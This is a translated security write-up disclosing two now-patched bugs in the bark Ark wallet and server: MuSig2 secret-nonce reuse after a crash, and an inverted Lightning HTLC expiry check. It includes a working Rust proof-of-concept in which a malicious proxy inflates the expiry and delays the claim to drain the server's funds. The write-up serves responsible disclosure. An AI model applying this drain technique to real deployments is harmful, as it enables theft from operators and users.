Bark中的两个漏洞可窃取资金

uncensoredtech 发布于 2026-06-14 阅读 182

文章披露了在bark(Ark协议实现)中发现的2个安全漏洞:1)MuSig2签名时,secret nonce被持久化到磁盘,崩溃或重启后重复使用,导致私钥泄露,恶意服务器可窃取用户资金;2)HTLC中Ark VTXO过期时间检查方向错误,允许接收方在入站HTLC过期后仍领取资金,导致服务器(ASP)资金被抽干。两个漏洞均在24小时内修复,已发布补丁。

本周在审查 bark 时(因为它已准备好上线主网),我发现了两个漏洞:

  1. 崩溃或重启时的 Nonce 重用 —— 钱包将 MuSig2 的秘密签名 nonce 写入磁盘,并在重启后重用。重用 MuSig2 nonce 进行签名会话会泄露签名者的私钥。恶意 Ark 服务器可以收集这些重用行为并窃取用户资金

  2. HTLC 到期检查反转 —— 符号写反的比较使得闪电网络接收方可以持有一个在入站闪电 HTLC 之后 到期的 Ark VTXO。通过延迟索取,接收方从服务器获得付款,而服务器自身的入站付款则失效。这会耗尽服务器(ASP)的资金。

崩溃或重启时的 Nonce 重用

漏洞

bark 将轮次尝试(包括秘密 nonce)持久化到磁盘,以便钱包重启后轮次可以继续。在 bark/src/persist/models.rs 中,轮次状态直接包含了这些 nonce:

AwaitingUnsignedVtxoTree {
    cosign_keys: Cow<'a, [Keypair]>,
    secret_nonces: Cow<'a, [Vec<DangerousSecretNonce>]>,
    unlock_hash: UnlockHash,
},

并且它被直接序列化到 SQLite 中:

let bytes = rmp_serde::to_vec(&SerdeRoundState::from(state)).expect("can serialize");

DangerousSecretNonce 故意绕过了重用保护,它会在每次调用时从存储的字节中重新生成一个全新的、完全可用的 SecretNonce

pub struct DangerousSecretNonce([u8; MUSIG_SECNONCE_SIZE]);

impl DangerousSecretNonce {
    pub fn to_sec_nonce(&self) -> SecretNonce {
        SecretNonce::dangerous_from_bytes(self.0.clone())   // 无消耗,无清零
    }
}

轮次流程:

  1. 在签名之前生成并持久化 noncebark/src/round/mod.rs 中的 start_attempt)—— AwaitingUnsignedVtxoTree 状态(包括秘密 nonce)在任何签名之前被写入磁盘。

  2. 通过借用 nonce 进行签名sign_vtxo_treecosign_branch - musig::partial_sign)—— to_sec_nonce() 从持久化的字节中克隆出一个可用的 nonce;nonce 从未被消耗。

  3. 仅在签名离开钱包后才推进状态。 部分签名被发送到服务器,然后状态转换写入磁盘为 AwaitingFinishedRound

如果在发送签名之后、状态推进写入之前钱包崩溃,磁盘上的状态仍然是 AwaitingUnsignedVtxoTree,且包含相同的秘密 nonce。并且重新加载时,没有任何东西将这些 nonce 绑定到原始提案。sign_vtxo_tree 只检查传入的提案是否包含钱包自身的输出。

重启后,它会发送一个不同的提案。钱包用相同的持久化 nonce 重新签名。

重复此过程,直到拥有该 nonce 下的 3 个签名,从而解出联签私钥,并能在任意树上伪造联签,窃取轮次资金。

修复

  • 秘密 nonce 不再写入磁盘。 AwaitingUnsignedVtxoTree 现在只携带 { unlock_hash, cosign_keys };旧的磁盘记录被读入一个占位符,该占位符丢弃所有持久化的 nonce。

  • Nonce 仅存在于内存中,存放在一个新的一次性使用的 RoundSecretNonces 存储中;progress_attempttake 操作会移除它们(使用时即删除),因此即使在单个进程内也无法重用。

  • 重启现在会中止尝试而不是重用,并带有明确的保护:

None => return AttemptProgressResult::Failed(anyhow!(
    "secret cosign nonces unavailable (likely after a restart); \
     abandoning round attempt to avoid nonce reuse")),

sign_vtxo_tree 现在使用真正的使用一次型 SecretNonce 类型,恢复了 DangerousSecretNonce 所丢弃的类型系统保护。

拉取请求:https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2182

闪电网络接收时 HTLC 到期检查反转

漏洞

在闪电网络接收时,服务器持有入站 HTLC,并向你授予一个 Ark HTLC-recv VTXO。你通过透露原像来索取它,然后服务器用该原像结算入站 HTLC 并收取款项。

为了保证服务器安全,Ark VTXO 必须在入站闪电 HTLC 之前到期,并留出安全余量。这样在你透露原像后,服务器仍有时间在入站 HTLC 超时前结算它。

服务器对客户端请求的到期时间的边界检查,其符号写反了(server/src/ln/mod.rs):

let max_htlc_recv_expiry = lowest_incoming_htlc_expiry + self.config.htlc_expiry_delta as BlockHeight;
if htlc_recv_expiry > max_htlc_recv_expiry {
    return badarg!("Requested HTLC recv expiry is too high. ...");
}

服务器欣然授予一个到期时间比入站 HTLC 晚 htlc_expiry_delta 个区块的 Ark VTXO,而 htlc_recv_expiry 由客户端选择。索取路径(claim_lightning_receive没有链高度检查。它只检查原像、订阅状态和输入,但从未将当前区块高度与入站 HTLC 到期时间进行比较。无论多晚,它都会签署索取请求。

概念验证

我在 regtest 上构建了完整栈(bitcoind + Core Lightning + Ark 服务器 + bark 钱包)并复现了漏洞:

服务器授予了一个在入站 HTLC 之后到期的 VTXO:

granted Ark VTXO expiry: 186, inbound HTLC expiry: 180

一个代理持有接收方的索取请求,直到我挖矿超过了入站到期时间并且 Core Lightning 已将入站 HTLC 失败返还,然后将其释放给服务器:

>>> SERVER COSIGNED the claim after inbound HTLC expiry
=== RESULT ===
server cosigned late claim : true
receiver balance before    : 2 BTC
receiver balance after     : 3 BTC

接收方净赚 +1 BTC,完全由服务器提供资金,而服务器未收到任何入站款项。该攻击特别要求一个恶意客户端,它在入站 HTLC 失效之前一直持有索取请求。

use std::sync::Arc;
use std::sync::atomic::{AtomicU32, Ordering};
use std::str::FromStr;

use ark::lightning::Invoice;
use ark_testing::{TestContext, btc};
use ark_testing::daemon::captaind::{self, ArkClient};
use ark_testing::util::FutureExt;
use server_rpc::protos;

fn parse_max(msg: &str) -> Option<u32> {
	let after = msg.split("Max").nth(1)?;
	after.split_whitespace().next()?.trim_end_matches('.').parse::<u32>().ok()
}

#[derive(Clone)]
struct InflateExpiry {
	honest: Arc<AtomicU32>,
	evil: Arc<AtomicU32>,
}

#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateExpiry {
	async fn prepare_lightning_receive_claim(
		&self,
		upstream: &mut ArkClient,
		mut req: protos::PrepareLightningReceiveClaimRequest,
	) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
		let honest = req.htlc_recv_expiry;
		self.honest.store(honest, Ordering::SeqCst);

		let mut probe = req.clone();
		probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
		let evil = match upstream.prepare_lightning_receive_claim(probe).await {
			Ok(_) => honest.saturating_add(10_000_000), // server accepted even this
			Err(status) => parse_max(status.message()).unwrap_or(honest),
		};
		self.evil.store(evil, Ordering::SeqCst);

		req.htlc_recv_expiry = evil;
		Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
	}
}

#[tokio::test]
async fn poc_server_grants_vtxo_expiring_after_inbound_htlc() {
	let ctx = TestContext::new("lightningd/poc_ln_expiry_bound").await;
	let lightning = ctx.new_lightning_setup("lightningd").await;
	let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;

	let honest = Arc::new(AtomicU32::new(0));
	let evil = Arc::new(AtomicU32::new(0));
	let proxy = srv.start_proxy_no_mailbox(InflateExpiry {
		honest: honest.clone(), evil: evil.clone(),
	}).await;

	let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
	bark.board_and_confirm_and_register(&ctx, btc(2)).await;
	lightning.sync().await;

	let invoice_info = bark.bolt11_invoice(btc(1)).await;
	let _ = Invoice::from_str(&invoice_info.invoice).unwrap();

	tokio::join!(
		async {
			let inv = invoice_info.invoice.clone();
			lightning.external.pay_bolt11(inv).await;
		},
		bark.lightning_receive(&invoice_info.invoice).wait_millis(30_000),
	);

	let honest = honest.load(Ordering::SeqCst);
	let evil = evil.load(Ordering::SeqCst);
	assert!(evil > 0, "proxy never saw a prepare request");

	let htlc_expiry_delta = 6u32;
	let inbound_htlc_expiry = evil - htlc_expiry_delta;

	println!("honest client requested htlc_recv_expiry : {honest}");
	println!("server accepted (max bound) M            : {evil}");
	println!("inbound Lightning HTLC expiry (M - delta): {inbound_htlc_expiry}");
	println!("=> server granted an Ark VTXO expiring {} blocks AFTER the inbound HTLC",
		evil as i64 - inbound_htlc_expiry as i64);

	// An honest client deliberately keeps its Ark expiry well below the inbound HTLC.
	assert!(evil > honest,
		"server permitted an expiry ({evil}) far above the honest client's request ({honest})");
	assert!(evil > inbound_htlc_expiry,
		"VULN: granted Ark VTXO expiry {evil} is not below the inbound HTLC expiry {inbound_htlc_expiry}");
}

#[derive(Clone)]
struct InflateAndDelay {
	evil: Arc<AtomicU32>,
	claim_seen: Arc<std::sync::atomic::AtomicBool>,
	release: Arc<std::sync::atomic::AtomicBool>,
	server_cosigned: Arc<std::sync::atomic::AtomicBool>,
}

#[async_trait::async_trait]
impl captaind::proxy::ArkRpcProxy for InflateAndDelay {
	async fn prepare_lightning_receive_claim(
		&self, upstream: &mut ArkClient, mut req: protos::PrepareLightningReceiveClaimRequest,
	) -> Result<protos::PrepareLightningReceiveClaimResponse, tonic::Status> {
		let honest = req.htlc_recv_expiry;
		let mut probe = req.clone();
		probe.htlc_recv_expiry = honest.saturating_add(10_000_000);
		let evil = match upstream.prepare_lightning_receive_claim(probe).await {
			Ok(_) => honest.saturating_add(10_000_000),
			Err(status) => parse_max(status.message()).unwrap_or(honest),
		};
		self.evil.store(evil, Ordering::SeqCst);
		req.htlc_recv_expiry = evil;
		Ok(upstream.prepare_lightning_receive_claim(req).await?.into_inner())
	}

	async fn claim_lightning_receive(
		&self, upstream: &mut ArkClient, req: protos::ClaimLightningReceiveRequest,
	) -> Result<protos::ArkoorPackageCosignResponse, tonic::Status> {
		self.claim_seen.store(true, Ordering::SeqCst);
		while !self.release.load(Ordering::SeqCst) {
			tokio::time::sleep(std::time::Duration::from_millis(200)).await;
		}
		let r = upstream.claim_lightning_receive(req).await;
		self.server_cosigned.store(r.is_ok(), Ordering::SeqCst);
		match &r {
			Ok(_) => eprintln!(">>> SERVER COSIGNED the claim after inbound HTLC expiry"),
			Err(s) => eprintln!(">>> server REJECTED the late claim: {}", s.message()),
		}
		Ok(r?.into_inner())
	}
}

#[tokio::test]
async fn poc_drain_asp_via_late_claim() {
	let ctx = TestContext::new("lightningd/poc_ln_drain").await;
	let lightning = ctx.new_lightning_setup("lightningd").await;
	let srv = ctx.captaind("srv").lightningd(&lightning.internal).funded(btc(10)).create().await;

	let evil = Arc::new(AtomicU32::new(0));
	let claim_seen = Arc::new(std::sync::atomic::AtomicBool::new(false));
	let release = Arc::new(std::sync::atomic::AtomicBool::new(false));
	let server_cosigned = Arc::new(std::sync::atomic::AtomicBool::new(false));
	let proxy = srv.start_proxy_no_mailbox(InflateAndDelay {
		evil: evil.clone(), claim_seen: claim_seen.clone(),
		release: release.clone(), server_cosigned: server_cosigned.clone(),
	}).await;

	let bark = Arc::new(ctx.bark("bark", &proxy.address).funded(btc(3)).create().await);
	bark.board_and_confirm_and_register(&ctx, btc(2)).await;
	lightning.sync().await;

	let balance_before = bark.spendable_balance().await;
	let pay_amount = btc(1);
	let invoice_info = bark.bolt11_invoice(pay_amount).await;

	let inv = invoice_info.invoice.clone();
	let pay = tokio::spawn(async move { let _ = lightning.external.pay_bolt11(inv).await; });
	let bark2 = bark.clone();
	let inv2 = invoice_info.invoice.clone();
	let recv = tokio::spawn(async move { let _ = bark2.try_lightning_receive(&inv2).await; });

	for _ in 0..600 {
		if claim_seen.load(Ordering::SeqCst) { break; }
		tokio::time::sleep(std::time::Duration::from_millis(100)).await;
	}
	assert!(claim_seen.load(Ordering::SeqCst), "bark never reached the claim");
	let evil = evil.load(Ordering::SeqCst);
	let inbound_htlc_expiry = evil - 6;
	println!("granted Ark VTXO expiry: {evil}, inbound HTLC expiry: {inbound_htlc_expiry}");

	let tip = ctx.bitcoind().get_block_count().await as u32;
	if inbound_htlc_expiry + 3 > tip {
		ctx.generate_blocks(inbound_htlc_expiry + 3 - tip).await;
	}
	tokio::time::sleep(std::time::Duration::from_secs(15)).await;
	release.store(true, Ordering::SeqCst);

	let _ = tokio::time::timeout(std::time::Duration::from_secs(40), recv).await;
	pay.abort();
	let balance_after = bark.spendable_balance().await;

	println!("=== DRAIN RESULT ===");
	println!("server cosigned late claim : {}", server_cosigned.load(Ordering::SeqCst));
	println!("receiver balance before    : {balance_before}");
	println!("receiver balance after     : {balance_after}");

	// The server cosigned a claim it can no longer back
	// with the inbound HTLC.
	assert!(server_cosigned.load(Ordering::SeqCst),
		"server did NOT cosign the late claim -- the cooperative drain is not reachable this way");
}

修复

提交 d9a480a 引入了 validate_htlc_recv_expiry,它修复了以下问题:

  • 修正了方向:requested + htlc_expiry_delta > lowest_incoming_htlc_expiry 时拒绝——即现在要求 Ark 的到期时间早于入站 HTLC,并留有安全余量。

  • 添加了缺失的高度检查:chain_tip + htlc_expiry_delta > lowest_incoming_htlc_expiry 时也拒绝,在入站 HTLC 过于接近到期时拒绝授予。

拉取请求:https://gitlab.com/ark-bitcoin/bark/-/merge_requests/2184


两个漏洞均在负责任披露后的 24 小时内修复。 Second 团队在 bark-0.2.5 版本的发布说明中致谢。


如果你喜欢这些关于漏洞的撰写内容,请使用 floppy@rizful.com 的 LN 地址捐赠聪。


>- 原文链接: [substack.com/home/post/p...](https://substack.com/home/post/p-201838701)
>- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~

相关文章

0 条评论